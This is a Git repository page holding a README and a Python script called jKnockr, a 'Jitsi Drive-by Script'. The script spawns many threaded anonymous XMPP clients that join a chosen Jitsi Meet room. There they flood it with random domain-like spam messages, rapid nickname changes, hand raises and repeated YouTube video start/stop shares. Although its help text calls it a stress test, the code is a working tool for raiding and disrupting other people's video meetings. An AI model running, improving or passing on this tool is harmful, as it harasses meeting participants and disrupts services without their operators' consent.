acidvegas/jknockr
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Dionysus 2024-10-12 21:40:09 -04:00
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README.md Normal file
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# jKnockr
> Jitsi Drive-by Script
## Work in Progress >:)

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jknockr.py Normal file
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#!/usr/bin/env python3
# jKnockr (Jitsi Drive-by Script) - Developed by acidvegas in Python (https://git.acid.vegas/jknockr)
import argparse
import http.cookiejar
import random
import socket
import string
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import xml.etree.ElementTree as ET
def client_join(client_id, tlds, args):
'''Performs the client join process and handles messaging, hand raising, nickname changes, and video sharing.'''
try:
print(f'Client {client_id}: Starting')
# Create a cookie jar and an opener with HTTPCookieProcessor
cookie_jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
headers = {
'Content-Type': 'text/xml; charset=utf-8'
}
# Generate a large random number for the initial 'rid'
rid = random.randint(1000000, 9999999)
# Generate an initial random nickname of 50 characters (letters and numbers)
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50))
# Extract domain and room name from the target URL
parsed_url = urllib.parse.urlparse(args.target)
target_domain = parsed_url.hostname
room_name = parsed_url.path.strip('/')
if not room_name:
print(f'Client {client_id}: No room name specified in the target URL.')
return
bosh_url = f'https://{target_domain}/http-bind'
# Step 1: Establish a session
print(f'Client {client_id}: Establishing session')
body = f'''<body rid='{rid}' to='{target_domain}' xml:lang='en' wait='60' hold='1' xmlns='http://jabber.org/protocol/httpbind'/>'''
request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
sid = extract_sid(response_text)
if not sid:
print(f'Client {client_id}: Failed to obtain session ID.')
print(f'Client {client_id}: Server response: {response_text}')
return
print(f'Client {client_id}: Obtained session ID: {sid}')
# Increment rid
rid += 1
# Step 2: Send authentication request
print(f'Client {client_id}: Sending authentication request')
auth_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<auth mechanism='ANONYMOUS' xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>
</body>'''
request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
if '<success' in response_text:
print(f'Client {client_id}: Authentication successful.')
else:
print(f'Client {client_id}: Authentication failed.')
print(f'Client {client_id}: Server response: {response_text}')
return
# Increment rid
rid += 1
# Step 3: Restart the stream
print(f'Client {client_id}: Restarting stream')
restart_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind' to='{target_domain}' xml:lang='en' xmpp:restart='true' xmlns:xmpp='urn:xmpp:xbosh'/>'''
request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
# Increment rid
rid += 1
# Step 4: Bind resource
print(f'Client {client_id}: Binding resource')
bind_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<iq type='set' id='bind_1' xmlns='jabber:client'>
<bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/>
</iq>
</body>'''
request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
jid = extract_jid(response_text)
if not jid:
print(f'Client {client_id}: Failed to bind resource.')
print(f'Client {client_id}: Server response: {response_text}')
return
print(f'Client {client_id}: Bound resource. JID: {jid}')
# Increment rid
rid += 1
# Step 5: Send initial presence to join the room without hand raised
print(f'Client {client_id}: Sending initial presence')
presence_elements = [
'<x xmlns=\'http://jabber.org/protocol/muc\'/>',
f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>'
]
# Build the presence stanza
presence_stanza = ''.join(presence_elements)
room_jid = f'{room_name}@conference.{target_domain}/{nickname}'
presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<presence to='{room_jid}' xmlns='jabber:client'>
{presence_stanza}
</presence>
</body>'''
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to initial presence (join room):')
print(response_text)
# Increment rid
rid += 1
# Step 6: Send messages with hand raise/lower, nickname change, and video sharing
hand_raised = True # Start with hand raised if enabled
for i in range(1, 101): # Adjust number of iterations/messages per client as needed
print(f'Client {client_id}: Starting iteration {i}')
# Generate a new random nickname if nickname change is enabled
if args.nick:
nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50))
presence_elements = []
presence_elements.append(f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>')
# Handle hand raise/lower
if args.hand:
timestamp = int(time.time() * 1000)
if hand_raised:
presence_elements.append(f'<jitsi_participant_raisedHand>{timestamp}</jitsi_participant_raisedHand>')
# Toggle hand raised status for next iteration
hand_raised = not hand_raised
# Handle video sharing
if args.youtube:
# Example YouTube video ID (you can randomize or set this as needed)
video_id = '21lma6hU3mk'
# Alternate video state between 'start' and 'stop'
video_state = 'start' if i % 2 == 1 else 'stop'
presence_elements.append(f'<shared-video from=\'{jid}\' state=\'{video_state}\' time=\'0\'>{video_id}</shared-video>')
# Build and send the presence update if any of the presence-related features are enabled
if args.nick or args.hand or args.youtube:
presence_stanza = ''.join(presence_elements)
room_jid = f'{room_name}@conference.{target_domain}/{nickname}'
presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<presence to='{room_jid}' xmlns='jabber:client'>
{presence_stanza}
</presence>
</body>'''
request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to presence update:')
print(response_text)
# Increment rid
rid += 1
# Send message if messaging is enabled
if args.message:
# Build the message content
try:
if not tlds:
print(f'Client {client_id}: TLD list is empty. Using default TLDs.')
tlds = ['com', 'net', 'org', 'info', 'io']
msg = ' '.join(f'{random_word(5)}.{random.choice(tlds)}' for _ in range(5))
except IndexError as e:
print(f'Client {client_id}: Error generating message: {e}')
msg = 'defaultmessage.com'
message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
<message to='{room_name}@conference.{target_domain}' type='groupchat' xmlns='jabber:client'>
<body>{msg}</body>
</message>
</body>'''
request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST')
response = opener.open(request, timeout=10)
response_text = response.read().decode('utf-8')
print(f'Client {client_id}: Server response to message {i}:')
print(response_text)
# Increment rid
rid += 1
print(f'Client {client_id}: Finished')
except Exception as e:
print(f'Client {client_id}: Exception occurred: {e}')
def extract_jid(response_text):
'''Extracts the JID from the XML response.'''
try:
root = ET.fromstring(response_text)
for elem in root.iter():
if 'jid' in elem.tag:
return elem.text
return None
except ET.ParseError:
return None
def extract_sid(response_text):
'''Extracts the SID from the XML response.'''
try:
root = ET.fromstring(response_text)
return root.attrib.get('sid')
except ET.ParseError:
return None
def force_ipv4():
'''Forces the use of IPv4 by monkey-patching socket.getaddrinfo.'''
# Save the original socket.getaddrinfo
socket._original_getaddrinfo = socket.getaddrinfo
# Define a new getaddrinfo function that filters out IPv6
def getaddrinfo_ipv4_only(host, port, family=0, type=0, proto=0, flags=0):
return socket._original_getaddrinfo(host, port, socket.AF_INET, type, proto, flags)
# Override socket.getaddrinfo
socket.getaddrinfo = getaddrinfo_ipv4_only
def main():
'''Main function to start threads and execute the stress test.'''
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Stress test a Jitsi Meet server.')
parser.add_argument('target', help='Target room URL (e.g., https://meet.jit.si/roomname)')
parser.add_argument('--message', action='store_true', help='Enable messaging')
parser.add_argument('--hand', action='store_true', help='Enable hand raising')
parser.add_argument('--nick', action='store_true', help='Enable nickname changes')
parser.add_argument('--youtube', action='store_true', help='Enable video sharing')
parser.add_argument('--threads', type=int, default=1, help='Number of threads (clients) to use')
args = parser.parse_args()
# Fetch the list of TLDs
print('Fetching TLDs')
try:
tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt'
request = urllib.request.Request(tlds_url)
with urllib.request.urlopen(request, timeout=10) as response:
response_text = response.read().decode('utf-8')
tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')]
print(f'Number of TLDs fetched: {len(tlds)}')
if not tlds:
print('TLD list is empty after fetching. Using default TLDs.')
tlds = ['com', 'net', 'org', 'info', 'io']
except Exception as e:
print(f'Failed to fetch TLDs: {e}')
print('Using default TLDs.')
tlds = ['com', 'net', 'org', 'info', 'io']
threads = []
for i in range(args.threads):
t = threading.Thread(target=client_join, args=(i, tlds, args))
threads.append(t)
t.start()
# Optionally, join threads if you want the main thread to wait
for t in threads:
t.join()
def random_word(length):
'''Generates a random word of a given length.'''
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for _ in range(length))
if __name__ == '__main__':
force_ipv4()
main()